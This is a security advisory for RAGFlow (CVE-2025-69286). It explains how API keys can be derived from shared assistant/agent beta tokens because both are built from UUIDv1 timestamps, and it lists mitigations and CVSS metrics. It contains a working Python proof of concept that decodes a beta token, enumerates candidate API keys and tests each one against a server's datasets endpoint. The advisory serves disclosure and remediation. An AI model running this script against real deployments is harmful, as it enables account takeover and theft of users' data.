Skip to content

Predictable Token Generation Leading to Authentication Bypass Vulnerability

Critical
yingfeng published GHSA-9j5g-g4xm-57w7 Dec 31, 2025

Package

https://github.com/infiniflow/ragflow

Affected versions

< 0.20.5

Patched versions

None

Description

Summary

The use of an insecure key generation algorithm in the API key and beta (assistant/agent share auth) token generation process allows these tokens to be mutually derivable. Specifically, both tokens are generated using the same URLSafeTimedSerializer with predictable inputs, enabling an unauthorized user who obtains the shared assistant/agent URL to derive the personal API key. This grants them full control over the assistant/agent owner's account.

Details

The issue originates in the token generation process at /api/apps/system_app.py#L214-215, where both the API key (token) and the beta token are generated nearly simultaneously using the generate_confirmation_token function (/api/utils/api_utils.py#L378). This function constructs a URLSafeTimedSerializer instance, initialized with the tenant_id as the secret_key, and uses get_uuid() as the input data, with tenant_id as the salt. The resulting token is prefixed with "ragflow-" and truncated to [2:34].
image
The URLSafeTimedSerializer (from itsdangerous, see documentation) serializes the input data (a UUIDv1 from get_uuid()) into a JSON object, generates a signature, and encodes the result in base64. For example, calling s.dumps("b4f3ce1a992911f0bf61325096b39f47") produces:

ImI0ZjNjZTFhOTkyOTExZjBiZjYxMzI1MDk2YjM5ZjQ3Ig.aNO7XA.-gBAm-REn4flryA-UD0uxFO-VXo

Decoding the base64 portion before the first . yields the original UUIDv1 ("b4f3ce1a992911f0bf61325096b39f47") as a JSON object. The truncation [2:34] extracts a portion of this plaintext UUIDv1.

Per the UUIDv1 specification (RFC 9562), the first 60 bits represent a timestamp in 100ns intervals. The extracted [2:34] substring corresponds to bits [2,98] of the UUIDv1, which includes the time_low, time_mid, and time_high fields. Since the API key and beta token are generated almost simultaneously, their timestamps are nearly identical, and the system’s time variance is minimal. This predictability allows an attacker to enumerate possible tokens with minimal attempts, derive the API key from the beta token, and perform unauthorized operations.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Note: To demonstrate the vulnerability, the following steps are suggested:

  1. Clone the repository and set up the environment (e.g., install dependencies, configure the server).
  2. Generate a beta token and API key using the application.
  3. Extract the UUIDv1 from the beta token by decoding the base64 portion and reversing the [2:34] truncation.
  4. Enumerate possible API keys using the predictable timestamp range from the UUIDv1.
  5. Use the derived API key to perform privileged actions, verifying unauthorized access.

Here is python code to decode beta, construct new tokens, attempt API call:

import base64
import requests

def from_token_to_ts_low(t):
    if(t.startswith("ragflow-")):
        t = t[8:]
    tpad = "Ij" + t[:10]
    # print(tpad)
    tt = base64.b64decode(tpad).decode("utf-8")
    # print(tt)
    assert tt[0] == '"'
    ts = int(tt[1:],16)
    # print(ts)
    return ts

def from_ts_low_to_token(ts, token):
    if(token.startswith("ragflow-")):
        token = token[8:]
    # encode ts_low back to token
    # override the first 10 chars of token
    th = hex(ts)[2:]  # remove '0x'
    th = th.rjust(8, '0')
    tpad = '"' + th + '"'
    tenc = base64.b64encode(tpad.encode("utf-8")).decode("utf-8")
    return tenc[2:12] + token[10:]

def api_call_with_token_attempt(token, base_url):
    # simulate an API call that uses the token
    response = requests.get(base_url + "api/v1/datasets", headers={"Authorization": f"Bearer {token}"})
    try:
        data = response.json()
        if data['code'] == 0:
            print("API call successful")
            return True
        else:
            print(f"API call failed with status code {response.status_code}")
            return False
    except Exception as e:
        print(f"API call failed with exception: {e}")
        return False

beta = "I0ZjNjZTFhOTkyOTExZjBiZjYxMzI1MD"
beta_low = from_token_to_ts_low(beta)


base_url = "https://example.com/"

# while loop, each time test +10, -10, +20, -20, +30, -30, ...
# In local test, the time gap between token and beta always is multiple of 10
# So we only need to test deltas that are multiple of 10
# Middle point is 2500, which is the average gap we observed
middle = 2500
attempt_count = 100
count = 0
for delta in range(middle, middle + attempt_count * 10 // 2  , 10):
    for sign in [1, -1]:
        new_ts_low = beta_low - sign * delta
        new_token = from_ts_low_to_token(new_ts_low, beta)
        decoded_ts_low = from_token_to_ts_low(new_token)
        assert decoded_ts_low == new_ts_low, f"failed for delta {sign * delta}: got {decoded_ts_low}, expected {new_ts_low}"
        print(f"delta {sign * delta}: new_token {new_token}, decoded_ts_low {decoded_ts_low}")
        # use new_token to attempt to API call
        new_token_with_prefix = "ragflow-" + new_token
        success = api_call_with_token_attempt(new_token_with_prefix, base_url)
        if success:
            print(f"Success with delta {sign * delta}")
            print(f"Found valid token: {new_token}")
            # exit the code
            exit(0)

Impact

This is a critical authentication bypass vulnerability. An attacker who obtains the shared assistant/agent URL (containing the beta token) can derive the API key, granting full control over the account, including access to sensitive data and privileged operations. All users who share assistant/agent URLs are impacted.

Mitigation Suggestions

  1. Replace UUIDv1 with UUIDv4 for token generation to ensure randomness (/api/utils/__init__.py#L343). UUIDv4 eliminates the predictable timestamp component.
  2. Remove the unnecessary URLSafeTimedSerializer wrapping, as it introduces predictable base64-encoded output.
  3. Implement a cryptographically secure random token generator (e.g., Python’s secrets module) for both API keys and beta tokens.
  4. Ensure tokens are sufficiently long and unique to prevent enumeration attacks.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2025-69286

Weaknesses

Generation of Predictable Numbers or Identifiers

The product uses a scheme that generates numbers or identifiers that are more predictable than required. Learn more on MITRE.

Credits